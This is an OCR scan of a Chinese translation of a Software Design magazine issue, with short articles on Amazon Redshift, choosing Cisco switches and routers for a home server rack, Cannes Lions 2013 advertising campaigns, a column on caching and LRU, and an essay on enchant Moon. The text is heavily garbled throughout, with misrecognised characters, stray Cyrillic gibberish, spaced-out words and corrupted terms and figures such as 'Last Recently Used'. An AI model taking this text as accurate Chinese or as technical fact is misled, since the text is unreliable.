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内 容 提 要 
Sp tware Desig 是 日 本 主流 的 计算 机 技术 杂志 ， 旨 在 帮助 程序 员 更 实时 、 深 入 地 了 解 前 沿 技 术 ， 
扩大 视野 ， 提 升 技能 。 内 容 侧 重 于 网 络 、 操 作 系 统 、 开 源 软 件 和 信息 处 理 技术 等 。 
本 期 的 主题 为 : sed АМК 入 门 和 和 Mac 开发 环境 。 特 辑 1 详细 讲解 了 ѕеа 57 АМК 的 基础 与 使 用 方法 、 
日 志 分 析 、Shell Scrip 、AWK 深入 编程 等 。 特 辑 2 向 我 们 展示 了 Mac 开 发 者 各 具 特 色 的 桌面 。 此 外 
还 介绍 了 面 癌 Redi at Enterp ise Linux 的 Fedr a 19。 本 书 适 合 各 行业 软件 开发 者 阅读 。 
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Amazon Redshift 


云 计 算数 据 仓库 
“Amazon Redshift” 


“Amazon Redshift” (С F H FR X 
Redshift ) 是 美国 Amazon 公司 的 云 
计算 平台 “Amazon Web Services” 
(下 面 称 为 AWS ) 自 2013 年 2 月 开 
始 启 用 的 云 计算 型 数据 仓库 服务 。 

数据 仓库 是 把 大 量 的 数据 积 
累 起 来 ， 并 对 其 进行 分 析 和 可 视 
化 处 理 的 系统 的 总 称 。 通 过 使 用 
这 些 数 据 对 公司 的 事业 和 市 场 情 
况 进行 分 析 ， 帮 助 公司 做 出 有 关 
改善 经 营 和 提高 系统 效率 等 方面 
的 决策 。 数 据 仓库 和 普通 的 数据 
库 系 统 的 最 大 区 别 是 ， 几 乎 不 进 
行 记录 的 更 新 和 删除 ， 只 是 以 追 
加 的 形式 把 大 量 的 数据 积累 起 来 ， 
并 据 此 进行 数据 的 统计 和 分 析 。 
由 于 其 目的 的 特殊 性 ， 以 前 一 般 
会 使 用 专门 的 人 硬件 服务 器， 引入 
费用 通常 也 比较 高 。 

Red hift 的 最 大 的 特点 是 
与 以 前 的 使 用 专用 服务 套 的 数据 
仓库 相 比 ， 可 以 以 极 低 的 价格 来 
9. #8, НУНА Е 
务 ， 不 需要 多 余 的 硬件 设备 ， 所 
以 可 以 控制 初期 导入 费用 。 途 和 借 
AWS 的 巨大 的 运 维系 统 的 支撑 ， 
Red hift 自 公布 后 便 获 得 了 很 大 
НЭ. 























高 处 理性 能 与 可 扩展 性 





Redshift 26 1 3 Н ЛАШ 
在 功能 上 也 不 亚 于 以 前 的 数据 
仓库 , 甚至 还 有 更 好 的 性 能 
Redshift 在 功能 上 的 特点 表现 在 
DT) УГ» 





® 数据 存储 使 用 列 式 数 据 库 
列 式 数据 库 是 以 列 为 单位 对 
数据 进行 管理 的 数据 库 系 统 。 使 
用 列 式 数据 库 ， 在 数据 统计 的 时 
候 ， 只 要 查询 必要 的 列 就 行 了 ， 
因此 比较 适用 于 统计 处 理 和 分 析 ， 
这 也 是 列 式 数 据 库 的 一 个 特点 。 





@ 支持 多 种 压缩 算法 

列 式 数据 库 的 另 王 个 特点 是 
数据 压缩 率 高 。 另 外 Redshift 还 
支持 多 种 压缩 算法 ， 可 以 根据 数 
据 的 性 质 和 用 途 ， 选 择 最 合适 的 
压缩 算法 。 





© MPP 带 来 的 高 扩展 性 
MPP ( Massively Parallel Processing, 

大 规模 并 行 处 理 ) 是 指 通过 连接 
大 量 比较 廉价 的 处 理 需 来 获得 高 
处 理性 能 的 计算 机 。 它 的 特点 是 
能 通过 增加 处 理 器 个 数 来 线性 扩 
展 提 高 处 理性 能 。 MH F Redshift 
的 便 件 环 境 是 以 MPP 形 式 组 成 的 ， 








因此 只 要 根据 需要 追加 实例 ， 就 
能 同时 提升 数据 容量 和 处 理性 能 


@ 与 现 有 技术 的 高 兼容 性 

Redshift 的 数据 库 以 开源 的 
PostgreSQL 为 基础 搭建 而 成 ， 可 
以 使 用 支持 PostgreSQL 的 现 有 的 
驱动 和 各 种 工具 。 这 就 意味 看 可 
以 很 容易 地 与 现 有 的 应 用 和 Web 
RARA TIE. 





大 数据 时 代 的 强力 武器 


在 被 称 为 大 数据 时 代 的 现在 ， 
商业 的 各 个 方面 都 越 来 越 需要 大 规 
模 的 数据 分 析 。 男 一 方面 ， 以 前 的 
数据 仓库 出 于 费用 局 内 有 比较 天 
规模 的 公司 和 服务 运营 者 才能 使 用 。 

但 是 有 了 Redshift 后 ， 即 使 
没有 昂贵 的 专用 服务 器 和 定制 的 
系统 ， 也 可 以 进行 TB 或 PB 级 别 
的 数据 分 析 。 如 果 能 灵活 使 用 
Redshift， 它 将 成 为 中 小 企业 和 
创业 公司 的 强 有 力 的 武器 
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i 通信 设备 的 探讨 


说 起 目 己 家 的 服务 船 机 架 ， 不 仅仅 是 服务 
和 天， 网 络 方面 的 知识 以 及 设备 也 是 必 不 可 少 的 。 





因此 在 步 入 正题 之 前 ， 让 我 们 先 来 一 起 探讨 下 
常规 的 通信 设备 吧 。 


全 交换 机 的 选择 ， 和 钊 规 是 Cisco 


一 般 多 选用 CiscoSystem 公司 ( 以 下 简称 
Cisco ) 的 产品 。 在 通信 领域， 将 Cisco 作为 标 
准 的 地 方 还 是 很 多 的 。 因 此 ， 如 果 有 意 成 为 网 
络 工 程 师 的 话 ， 就 有 必要 对 Cisco 的 产品 进行 
一 下 了 解 。 并 且 Cisceo 的 资格 认证 的 书籍 和 有 
关 使 用 方法 的 网 站 等 各 类 资料 也 非常 丰 定 ， 所 
以 推荐 从 使 用 Cisco 的 产品 人 手 。 交 换 机 大 致 
可 分 为 Layer2( L2 ) 交 换 机 和 Layer3(L3 ) 交换 
机 。 下 面 简单 地 说 一 下 两 者 的 区 别 。 





@ 12 交换机 

这 类 交换 机 的 主要 功能 是 收发 数据 包 。 即 
通过 MAC 地址 管理 端口 和 终端 的 连接 关系 ， 
并 将 数据 包 发 送 到 目的 地 。 因 为 MAC 地 址 属 
于 OSI 模型 的 第 2 层 (数据 链 路 层 )， 所 以 称 为 
Гауег2 ү 
@L3 交换 机 

在 L2 交 换 机 的 基础 上 ,增加 了 IP 路 由 的 
功能 。 也 就 是 说 ， 为 了 能 和 其 他 设备 上 的 网 络 
节点 进行 通信 ， 增 加 了 数据 包 中 转 、 路 由 选择 





У Аотосћа ( http://tomocha.net/diary/ 








这 些 功能 。 这 些 都 是 OSI 模型 第 3 层 ( 网 络 层 ) 
的 功能 ， 因 此 称 之 为 Layer3 交换 机 。 


那么 该 选择 怎样 的 交换 机 呢 ? 由 于 互联 网 
的 接 入 速度 在 1M bit/s~1Gbit/s %0], 1Gbit/s 
的 交换 机 也 已 经 成 为 主流 ， 所 以 选择 所 有 端口 
都 文 持 1G 的 交换 机 是 无 可 非议 的 。 如 今 在 街 
边 的 电器 店 中 就 可 以 买 到 交换 机 ， 自 带 管理 
功能 的 高 性 能 交换 机 、L3 交换 机 等 也 能 找到 。 
L3 交换 机 的 价格 还 是 比较 昂贵 的 ， 新 品 的 话 
要 数 十 万 日 元 ， 二 手 的 也 要 数 万 日 元 ， 所 以 要 
根据 自己 的 预算 来 挑选 。 笔 者 的 建议 是 ， 至 少 
也 要 选择 这 有 管理 功能 和 VLAN 功能 的 L2 交 
ТАЛЛ Cisco 的话 就 是 Catalyst 2960 系列 。 

带 有 管理 功能 的 交换 机 的 优势 在 于 ， 通 过 
串 行 接口 或 者 网 络 提供 管理 功能 ， 可 以 查看 交 
换 机 的 各 类 设 定 、 端 口 状态 、 数 据 包 流 量 、 错 
误 帧 数 、 负 载 以 及 系统 状态 。 并 且 通 过 SNMP 
协议 , 还 可 以 远程 下 载 数据 并 生成 可 视 化 的 报表 。 
通过 收集 各 类 event 信 息 和 1log 等 ， 可 以 远程 监 
视 交 换 机 ， 随 时 掌控 其 状态 ， 并 在 发 生 故 障 时 
调查 原因 。 还 可 以 将 一 些 奇怪 的 问题 记录 下 来 
以 便 日 后 分 析 。 除 此 之 外 , VLAN (虚拟 局 域 网 )、 
STP (建立 树 形 拓扑 ， 实 现 路 径 见 余 ) 以 及 链 路 
聚合 (link aggregation ) 都 是 比较 常用 的 功能 ， 
作为 网 络 工程 师 ， 最 好 事先 了 解 一 下 。 

此 外 ， 在 学 习 L3 交 换 机 的 过 程 中 也 有 一 
些 需要 了 解 的 功能 ， 所 以 不 管 是 否 常用 ， 家 
中 的 服务 磊 机 架 上 最 好 能 够 备 一 合 Catalyst 
3550/3750 系列 的 设备 。 
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ШЕН й, Ж ЖАНУ Cisco 1800 系列 和 
890 系列 、YAMAHA RTX 系列、NEC IX 系列 
和 古河 电工 的 FITEL 系列 等 。 除 此 之 外 还 有 
ЗА. A H й D ВЕ ПУ 107 Kd ( Fire Wall )， 例 如 
NetScreen 和 Fortigate XX 2 ТА E SOHO № / $ 
Л ЕП ин, ПТА о НЕ АНУ, Ж 
家 可 以 根据 目 己 的 喜好 来 选择 。 如 采 只 是 用 来 
学 习 的 话 ，Cisco 2600 系 列 和 Cisco 2800 系列 
也 是 可 以 使 用 的 。 

说 起 路 由 硕 和 L3 区 换 机 的 区 别 ,， 可 以 这 
么 认为 : L3 交 换 机 可 以 实现 的 功能 ， 路 由 需 
也 能 实现 。L3 交换 机 是 多 并 口 的 交换 机 。 路 
由 天 的话 , 虽然 端口 较 少 , 但 支持 多 种 接口 协议 ， 
并 且 有 数据 包 过 滤 、NAT (地 址 变换 ) 等 功能 。 
除 此 之 外 ， 还 有 适用 于 大 规模 网 络 ， 能 够 保存 
更 多 的 路 由 数量 的 动态 路 由 带 (BGP/OSPF 等 )。 














是 必要 的 吗 ? 

需要 注意 的 是 ， 一 些 面 向 公司 的 交换 机 和 
路 由 右 ， 如 果 不 在 维护 服务 期 内 就 可 能 无 法 更 
新 固件 或 O0S。 为 什么 要 更 新 固件 呢 ? 提供 新 
功能 是 其 原因 之 一 ， 更 重要 的 是 修正 软件 bug 
和 安全 漏洞 等 。 如 有 果 只 是 软件 bug 的 话 ， 只 会 
影 啊 目 己 的 正常 使 用 。 但 如 果 存 在 安全 漏洞 的 
话 ， 还 可 能 影响 到 他 人 ， 所 以 对 接 入 互联 网 的 
设备 需要 进行 维护 和 更 新 。Cisco 为 Catalyst 系 
列 部 分 型 号 的 L2/L3 交换 机 免费 提供 了 IOS 软 
件 ， 可 以 安心 使 用 。YAMAHA 的 路 由 器 等 设 
备 的 维护 服务 基本 上 都 是 免费 的 ， 推 荐 给 首次 
使 用 的 朋友 们 。 总 之 ， 请 大 家 在 考虑 设备 的 售 
后 服务 的 基础 上 ， 选 择 适 合 目 己 的 产品 。 


| 用 电量 也 是 选择 要 素 


多 交口 的 交换 机 以 及 高 性 能 的 路 由 融 的 用 
电量 较 高 ， 所 以 每 个 月 的 电费 也 需要 考虑 在 内 


所 固件 和 OS 等 的 维护 服务 























Ў 网 络 工程 师 修炼 手 册 Ў 
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(照片 1) 100 丈 左右 的 设备 ，1 个 月 的 电费 为 
0 W x24( 小 时 )x30( 日 )=72 kWh=2095 日 
Ea Е 
生 这 些 花 费 ， 如 果 长 时 间 使 用 的 话 ， 还 是 会 对 
家 庭 文 出 产生 影响 的 。 所 以 要 在 调查 了 解 所 需 
要 的 功能 、 端 口 数 量 、 用 电量 的 基础 上 进行 选择 。 

笔者 的 环境 中 , 使 用 的 交换 机 有 Cisco, 
HitachiCable、DELL、AlaxalA 的 设备 , 使 用 
的 路 由 器 有 YAMAHA RTX 系列 、Cisco 1800 
系列 、NEC IX 系列。 用 电量 已 经 成 为 不 可 忽 
视 的 问题 ， 所 以 如 果 能 买 到 用 电量 较 少 的 设备 
的 话 ， 会 进行 适当 的 蔡 换 ( 照 片 2 )。 


| 总 2 


综 上 ， 要 在 考虑 用 电量 的 基础 上 选择 带 有 
管理 功能 的 交换 机 和 路 由 需 。 另 外 ， 因 为 家 中 
有 机 架 ， 所 以 要 选择 能 够 安装 到 机 架 上 的 型 号 
最 后 还 要 说 一 句 ， 在 网 络 知识 的 学 习 方 面 ， 通 
过 实际 操作 来 加 深 记 忆 是 最 重要 的 ! 


















































有 照片 1 尽量 将 用 电量 很 大 的 设备 用 于 测试 ， 避 
免 长 时 间 地 运转 
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为 企业 提供 更 安全 的 代码 管理 解决 方案 
助力 全 球 科 技 公司 打造 目 己 的 开发 者 天 系 生 态 图 
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就 在 你 喘 边 的 “广告 ” 





在 日 常生 活 中 ， 随 时 随地 部 
会 接触 到 广告 。 电 视 广 告 、 地 铁 
上 的 广告 、 杂 志 上 的 广告 、 手 机 
应 用 中 的 广告 …… 只 要 生活 在 城 
市 中 ， 无 论 你 是 否 意识 到 ， 每 天 
都 有 无 数 的 广告 充斥 你 的 眼睛 。 

近 几 年 来 ,花费 巨大 预算 的 
广告 视频 的 制作 已 经 在 逐渐 减少 ， 
但 其 他 形式 的 广告 正在 增多 。 这 
里 所 说 的 “其 他 形式 ”， 即 通过 活 
H Twitter, Facebook 等 社交 媒体 ， 
使 产品 及 品牌 相关 的 话题 得 到 扩 
散 的 广告 抹 略 。 在 便利 店 看 到 电 
视 广告 中 的 零食 新 产品 时 会 不 目 
觉 地 想 去 购买 ; 对 朋友 在 社交 媒 
体 上 分 享 的 热门 产品 也 会 感到 非 
名 有 兴趣 。 另 外 在 手机 应 用 中 也 




















> 4 





会 收 到 其 他 应 用 相关 的 信息 。 
虽说 不 看 电视 广告 了 ,但 是 

广告 仍 以 各 种 形式 渗透 在 我 们 的 

Н Ей НН» ШӘЛ АДН ВЕЕ 

机 以 及 网 络 的 广告 尤 多 ， 这 类 广 

告 一 般 有 以 下 特点 。 

Ф 不 是 展示 产品 本 身 ， 而 是 展示 
产品 及 品牌 可 提供 的 体验 

ө 灵活 应 用 数字 化 手段 已 成 为 第 
识 。 仪 仅 徘 使 用 了 最 新 的 技术 
无 法 成 为 话题 

ө 为 一 方面 ， 灵活 应 用 以 往 没 有 
НТР, 采用 前 所 未 有 的 
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体 上 的 扩散 为 目标 


ө 路 /多 平台 (电视 与 网 络 、 社 交 
媒体 与 宣传 活动 等 ) 
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ФЛ КЕН) Е ӨЛ, ПЕ 
Еу – Л НҢ ЖАЖ 2 
下 去 

Ө 不 仅 重 视 产 品 本 身 ， 还 要 重视 
使 用 产品 的 体验 等 服务 





特别 是 社交 媒体 与 广告 的 关 
系 正 变 得 非常 紧密 。 社 交 媒 体 之 
所 以 备 受 广告 商 的 青睐 ,是 因为 
与 以 往 的 大 众 媒体 相 比 ， 通 过 社 
区 媒体 可 以 以 较 低 的 成 本 实施 各 
种 策略 ， 同 时 社交 媒体 更 接近 于 
顾客 ， 可 以 与 顾客 建立 更 紧密 的 
ХЖ, 

发 外 与 数 年 前 相 比 ， 话 题 的 
扩散 、 谣 言 的 传播 ， 以 及 热度 的 
降温 等 各 类 事项 的 速度 也 变 得 飞 
快 ,“ 现 在 ”这 个 实时 性 得 到 了 更 
多 的 重视 。 对 于 不 错 的 东西 、 美 




















广告 中 数字 化 与 装置 的 分 工 


好 的 事物 ， 人 们 都 会 硕 望 它 能 成 
为 话题 以 让 更 多 的 人 知道 ， 所 以 
言 息 会 在 瞬间 被 共享 ， 并 直接 导 
致 购买 商品 、 孚 受 服务 等 行动 在 
更 大 的 范围 内 展开 。 

虽然 有 些 东 西 会 根据 国家 、 
年 龄 层 、 居 住 圈 等 有 细微 的 差别 ， 
但 真正 好 的 表现 方式 或 产品 ， 将 
会 超越 国家 与 文化 的 差异 被 广泛 
接受 ， 这 样 的 信念 也 在 逐步 成 为 
一 般 消 费 者 的 共识 。 

以 广告 为 主 的 夏 纳 国 际 创意 
F “ Cannes Lions International Festival 
of Creativity 2013” F 2013 年 6 月 如 
期 举行 ， 当 时 恰 逢 该 活动 创立 60 
周年 ， 参 加 报名 的 作品 数 达 到 了 
历史 最 多 ， 其 中 我 们 特别 介绍 几 
个 和 手机 客户 奖 以 及 最 新 科技 相 
天 的 广告 策略 。 














Second Life App 

以 活动 专用 的 应 用 在 活动 结 
束 后 再 也 不 会 被 使 用 为 切入 点 ， 
在 应 用 版 本 迭代 的 时 候 将 应 用 的 
内 容 蔡 换 为 征集 肝脏 捐赠 者 。 


Project Silverline 


新 加 坡 通信 商 SINGTEL 的 作 
品 ， 在 新 版 本 iPhone 5 的 发 售 日 ， 
I Ж ІН IK ВУ iPhone, JF 26 6 5 
老年 人 会 使 用 到 的 应 用 ， 然 后 捐 
赠 给 老年 人 。 


Scrabble WiFi 

销售 桌 游 的 Mattel 公 司 提供 
HJ Wi-Fi 服务 。 以 提供 免费 的 
Wi-Fi 连 接 为 交换 ， 要 求 用 户 解 
开 谜 题 。 解 开 的 谜 题 的 难度 越 高 ， 
即 可 获得 更 长 时 间 的 连接 。 


Keepit 

这 是 一 球 可 以 将 购物 时 的 找 
零 以 电子 货币 的 形式 接受 的 移动 
服务 О 


Cet Cash 

英国 的 银行 服务 。 在 筷 珊 或 
丢失 银行 卡 时 ， 可 以 通过 发 送 至 
智能 机 的 专用 代码 从 账户 中 提出 
不 超过 10 英 镑 的 小 视 现 金 。 在 丢 
了 钱包 或 紧急 情况 下 会 有 所 帮助 。 





awaken by Amazon 


日 本 的 学 生 团 队 想 出 的 创意 ， 
在 会 场 也 获得 了 很 高 的 评价 。 从 
Amazon 购买 图 书后 ， 在 配送 的 箱 
子 中 放 和 人 不 再 阅读 的 图 书 并 寄 回 。 
这 些 书 将 被 贴 上 Amazon 的 贴纸 ， 
被 捐 往 正 在 努力 提升 识字 率 的 印 
度 等 地 。 捐 赠 了 图 书 的 人 可 以 获 
得 该 书 的 电子 版 本 。 对 于 Amazon 
来 说 ， 这 一 活动 不 仅 实 现 了 箱子 
的 再 利用 ， 同时 也 起 到 了 “买书 
就 到 Amazon” 这 样 的 广告 宣传 
作用 。 




















SI 


THIRD EYE 


新 加 坡 某 手 机 公司 提供 的 服 
务 。 该 项 目的 主旨 是 “成 为 您 的 
第 三 只 眼 ， 主 要 征用 于 为 饥 力 
障碍 者 解读 文字 或 图 片 的 志愿 者 
活动 中 。 视 力 障碍 者 通过 智能 机 
拍摄 想 要 读 取 的 内 容 ， 志 愿 者 就 
会 在 读 取 这 些 内 容 后 以 文字 信息 
的 形式 进行 回复 。 而 文字 信息 在 
应 用 中 会 以 声音 的 形式 被 明 读 出 
来 ,这样 就 可 以 被 理解 了 。 














Cinder 


创作 Processing 以 及 openFrameworks 
等 互动 内 容 的 环境 ， 获 得 了 很 蜗 
的 评价 。 由 于 互动 的 技术 很 容易 
使 用 ， 因 此 表现 的 可 能 性 就 有 所 
扩大 。 之 前 那些 以 创意 为 主 但 无 
法 得 到 实现 的 内 容 ， 随 者 该 环境 
的 完善 ， 以 及 可 以 熟练 使 用 该 环 
境 的 工程 师 、 设 计 师 的 增加 ， 也 
出 现 了 更 多 的 可 能 性 。 


adidas NEO Window Shopping 

不 需要 下 载 App， 只 通过 二 
维 码 以 及 4 位 的 PIN CODE 就 可 以 
购买 商品 的 服务 。 它 的 特点 就 是 
使 用 方便 ， 不 需要 特地 去 下 载 或 
安装 应 用 。 





那么 这 些 成 为 话题 的 服务 和 
告 是 如 何 被 创作 出 来 的 呢 ?” 当 
然 ， 专 业 并 且 一 流 的 创意 者 们 花 





Тһе Pebble Ѕепѕе 


The Popinator 
费 大 量 时 间 昔 思 竖 想 出 来 的 创意 Danger 
http://vimeo.com/64860956 


也 可 以 订 卷 全 世界 ， 但 实际 上 有 灵 S A A http://superaveragemegatoms.com/ 
RERA DENEME o 

日 第 觉得 奇怪 的 事情 、 不 方 
便 的 事情 ,或 者 很 小 的 发 现 等 ， 
这 些 事情 只 要 能 使 得 人 的 内 心 有 
所 触动 ， 那 就 是 成 功 。 凡 是 能 留 
下 印象 的 事情 ， 都 会 使 人 或 惊讶 ， 
或 感动 ， 或 产生 共鸣 ， 或 感到 困 
惑 等 ， 使 人 的 心情 发 生 各 种 变化 。 

另外 ， 对 企业 来 说 ， 不 仅仅 
是 售卖 商品 ， 通 过 环保 、 再 利用 
等 企业 的 社会 贡献 来 构建 品牌 也 
成 为 了 一 个 重要 的 主题 。 而 且 这 
些 社会 贡献 也 并 不 是 说 是 为 了 做 
而 做 ， 而 是 要 和 各 个 企业 、 服 务 
以 及 商品 所 擅长 的 领域 相 结 合 ， 
以 大 家 都 能 接受 的 方式 展开 。 

Cannes Lions 2013 中 ,红牛 的 
平流 层 自 由 落体 “Red Bull Stratos” 
被 传 出 只 要 报名 就 肯定 能 得 奖 
( Cannes Lions 只 审核 文 付 报名 费 
用 并 由 制作 方 提出 申请 的 作品 )。 =: р] 
红牛 这 个 很 棒 的 做 法 已 经 超越 了 

告 这 样 的 形式 ， 能 感受 到 他 们 
希望 更 进一步 加 强 和 顾客 以 及 粉 
丝 的 关系 ， 并 且 继 续 向 下 一 阶段 
迈进 的 强烈 意愿 。 

未 来 的 广告 ， 或 许 形 式 会 和 
现在 的 广告 有 所 不 同 ， 变 得 更 加 
社会 化 ,但 这 种 社会 化 并 不 是 强 
压 的 ， 而 是 人 们 会 不 目 党 地 想 把 
它 作 为 话题 ， 想 文 持 它 。 





























TXTBKS 








http://www.japanphil.or.jp/kikukusuri/ 





http://seeourentry.com/txtbks/ 








{ЛУ Back to Vinyl 
用 模仿 了 老式 唱片 的 外 包装 和 
应 用 来 听 音 乐 家 宣传 用 的 音源 





文 / 结 城 浩 ( Hiroshi Yuki ) 
http:/www.hyuki.com 
Twitter @hyuki 
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缓存 原来 指 的 是 存放 物品 的 场所 。 在 当 拉 





术 用 语 使 用 的 时 候 ， 它 的 意思 是 “为 了 快速 进 
行 数据 处 理 而 存放 曾经 使 用 过 的 数据 的 地 方 ”。 

缓存 是 一 个 很 常用 的 技术 。 比 方 说 ,显示 
一 个 含有 大 图 片 的 Web 页 面 的 时 候 ， 第 一 次 会 
稍微 花 点 时 间 ， 但 第 二 次 会 立即 显示 出 来 。 这 
台 是 因为 大 岁 片 被 放 在 了 缓存 里 (被 缓存 )。 第 
一 次 显示 的 流程 如 网 1 所 示 。 

ХЕК лел ГЇЇ М Web 网 站 上 该 取 并 
显示 图 片 的 过 程 。 在 第 一 次 显示 的 过 程 中 把 图 
片 保存 在 了 缓存 里 。 这 个 缓存 具体 来 说 就 是 浏 
览 船 运行 的 计算 机 的 内 存 或 便 盘 。 














у” 1 第 一 次 访问 时 图 片 被 缓存 下 来 







CE 





在 使 用 绥 存 的 系统 中 ， 第 一 次 获得 数据 的 
时 候 ， 会 把 数据 存放 在 缓存 里 ， 接 着 就 可 以 从 
缓存 中 获取 数据 。 这 就 是 第 二 次 以 后 读 取 速 度 
得 到 提升 的 原因 所 在 。 

第 二 次 显示 Web 页 面 的 流程 如 网 2 所 示 。 
相 比 通过 缓慢 的 网 络 获得 数据 ， 从 高 速 缓存 获 
得 数据 可 以 更 加 快速 地 显示 出 来 。 











(29 CPU 使 用 的 缓存 


计算 机 自己 也 在 使 用 缓存 。 计 算 机 的 中 央 
АКИН ЛЕ (CPU ) 在 执行 程序 的 时 候 ， 在 从 主 存 
储 右 读 取 程序 的 同时 ， 也 在 从 缓存 存储 右 里 读 
取 数 据 。 因 为 缓存 存储 器 比 主 存储 需 更 快速 ， 
所 以 据 此 可 以 实现 CPU 的 快速 运行 。 这 种 情况 
下 ， 低 速 设备 是 主 存储 锅 ， 高 速 设 备 是 绥 存 存 
MEAT o 

在 Web 服务 器 的 例子 里 ， 主 存储 右 扮 演 了 








有 图 2 第 二 次 访问 时 从 缓存 获取 图 片 





缓存 的 角色 , 是 高 速 设备 。 但 在 CPU 的 例子 中 ， 
主 存 储 带 又 变 成 了 低速 设备 。 这 是 因为 在 缓存 
中 ， 问 题 的 关键 在 于 设备 的 相对 速度 。 


(Эрта 


“ВЕ о Ж ОМК Е НГ ааа 
E” 虽然 是 理所当然 的 ， 但 还 是 有 一 些 平衡 在 
ШЙ» 

H аА Жтт] ЖЕ ПП Н, 
就 在 一 定 程 度 上 牺牲 了 空间 ， 即 出 现 了 “时 间 
和 空间 的 平衡 ”。 因 为 是 平衡 ， 就 必然 存在 “这 
边 成 立 ， 那 边 就 不 成 立 ” 的 情况 。 例 如 ， 如 果 
为 了 实现 更 高 的 速度 而 准备 更 大 的 缓存 ， 那 么 
以 后 从 这 个 大 绥 存 里 寻找 目标 数据 也 会 耗费 大 
量 的 时 间 。 

另外 ， 绥 存 一 般 都 比较 贯 ， 准 备 大 量 的 组 
存 会 对 系统 整体 的 成 本 产生 负面 影响 。 这 个 就 
是 “速度 与 价格 的 平衡 ”。 


(29 LRU 和 超 整 理 法 


当 绥 存 比较 大 的 时 候 ， 经 第 使 用 的 是 名 为 























үу 3 Last Recently Used 


查找 数据 


ШШ 


ШШ 


找到 后 移 到 最 前 面 


结 城 浩 ( Hiroshi Yuki ) 





аы 站 加 КА 


LRU ( Last Recently Used ) 的 算法 (数据 结构 )， 
即 把 缓存 内 的 数据 排 成 一 排 ， 并 把 下 次 访问 到 
的 数据 排 到 排头 的 方法 。 

这 个 算法 的 精髓 是 刚 使 用 过 的 东西 被 再 次 
使 用 到 的 可 能 性 更 高 ， 所 以 放 在 最 近 的 地 方 。 

LUR 和 野 口 修 纪 雄 先 生 的 名 为 超 整 理 法 的 
资料 管理 法 是 一 样 的 。 

到 纸袋 里 ， 并 排列 在 书架 
ЖЫТ» 








。 查 找 资 料 的 时 候 ， 从 书架 的 开头 开始 按 
顺序 查找 
。 将 使 用 过 的 资料 放 到 书架 的 最 开头 





以 这 样 的 方法 管理 资料 。 这 样 一 来 ， 这 个 书 
架 的 特点 束 是 “最 第 使 用 的 资料 在 最 容易 找到 
的 地 方 ”。 


(29 利用 大 脑 的 缓存 


我 们 在 工作 的 时 候 ， 也 在 使 用 缓存 的 思维 。 
大 家 可 能 都 有 过 这 样 的 经 历 : 在 没 做 任何 准备 
就 直接 开始 工作 的 时 候 ， 干 到 一 半 时 会 突然 想 
到 “ 啊 ， 糟 了 ! 应 该 先 做 另外 一 件 事 的 ! ”为 
了 防止 这 样 的 失误 ， 最 好 回忆 一 下 上 次 做 到 了 
哪里 、 工 作 的 目的 是 什么 、 有 什么 注意 事项 等 ， 
理 清 这 些 基 本 信息 是 很 有 必要 的 。 这 就 类 似 于 
从 自己 脑子 的 缓存 里 读 取 必要 的 数据 。 如 果 是 
一 个 人 的 工作 ， 建 议 回头 看 一 下 工作 日 志 ; 
如 果 是 多 个 人 的 工作 ， 那 么 在 开始 前 开 一 个 简 
单 的 会 议会 比较 好 。 























Ф © 6 


你 在 工作 的 时 候 有 没有 把 “ 拿 过 来 比较 费 
时 的 东西 ” 放 在 手边 呢 ? 请 想 一 想 吧 。 








生 于 1963 年 , 日 本 资深 技术 作家 和 程序 员 。 在 编程 语言 、 设 计 模式 、 数 学 、 加 密 技术 等 领域 , 编写 了 很 多 深 
受 欢 迎 的 入 门 书 。 代 表 作 有 《数学 女孩 》 系 列 、《 程 序 员 的 数学 》 等 。 


作者 网 站 : http://www.hyuki.com/ 
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en nchant 


= 激发 创造 力 的 魔法 一 | 


文 / 清 水 亮 ( SHIMIZU Ryo Ubiquitous Entertainment Inc 股 份 有 限 公 司 ) 译 / 印 勇 刚 
CL http://www.uei.co.jp 


第 9 占有 五 年 后 的 未 来 


要 创造 出 enchant Moon! 此 般 雄 心 壮 志 ， 
究竟 来 自 何 处 ? 一 切 要 从 2006 年 说 起 。 


| 


起 源 是 2006 年 纽约 大 学 的 科学 家 Jefferson 
Y Нап 在 TED“ 大 会 上 发 表 的 一 部 短篇 影像 : 
http://www.youtube.com/watch?v=F1S-W9aeG0Os。 

在 这 部 影像 中 ，JeffersonY Han 通过 十 
根 手 指 自 如 地 操纵 着 投射 在 玻璃 板 上 面 的 各 
种 PC 图 面 ， 就 像 魔 法 师 那 样 随心 所 欲 。 被 两 
个 手指 目 由 地 扩大 、 缩 小 、 旋 转 的 各 种 图 像 、 
Google Earth 的 影像 、 画 面 上 浮现 出 的 虚拟 键 
盘 …… 一 切 的 一 切 都 是 那么 的 神奇 ， 仿 佛 来 目 
于 未 来 世界 。 

“这 简直 就 像 电影 中 的 画面 一 样 啊 ! ” 

我 看 了 这 个 影像 后 非常 感动 ， 感 觉 这 一 定 
就 是 未 来 电脑 的 发 展 方向 。 将 来 ,想必 处 处 组 
成 画面 ， 人 们 通过 手指 或 者 手势 等 ， 就 可 以 目 
如 地 操作 电脑 了 。 

JE Jefferson Y Нап 的 影像 中 ， 我 也 发 现 了 
一 处 不 足 ， 就 是 操作 系统 。 

Jefferson Y Нап 的 影像 中 使 用 的 操作 系统 ， 
也 许 是 Windows， 也 许 是 Mac， 




















总 之 是 一 款 普 


] 








通 的 操作 系统 。 但 当时 的 这 些 操 作 系 统 ， 只 适 
合 单 点 触摸 ， 而 无 法 检测 出 多 点 触摸 的 手势 ， 
因为 它们 没有 这 方面 的 传感器 

然而 这 部 影像 还 是 深 深 地 吸引 了 我 ， 也 唤 
起 了 我 的 思考 : 如 何 去 实 现 这 样 神奇 的 一 个 未 
Ж? 可 能 是 10 年 后 ， 也 可 能 是 20 年 后 ， 但 总 
有 一 天 ， 人 们 都 会 像 影像 中 的 魔法 师 一 样 使 用 
电脑 吧 。 

而 适应 这 个 未 来 世界 所 需 的 操作 系统 、 相 
KWAA ЖЕШ ЛИ ш т, И Л 
涉及 。 

а, a 
代 ， 要 如 何 去 操 作 电脑 呢 ? 那 时 ， 我 内 心 非 常 
自然 地 涌现 出 一 个 强烈 的 想法 ， 那 就 是 ， 我 要 
把 对 这 一 命题 的 思考 ， 作 为 我 终身 的 事业 。 








ed ыг ЕІ 


ЈеЌегѕоп Ү Нап ЕЕ Е ,点 触 控 的 演讲 
http://www.youtube.com/watch?v=EiS-W9aeG0s 








区 =, , @) ТЕР ( Technology Entertainment Design ) : 科学 、 娱 乐 、 设 计 等 方面 的 专业 人 十 发 表 其 独创 性 想法 的 国际 性 大 会 组 织 。 





五 年 后 的 手机 


任务 ， 让 我 分 析 和 预测 一 下 五 年 后 的 手机 会 变 
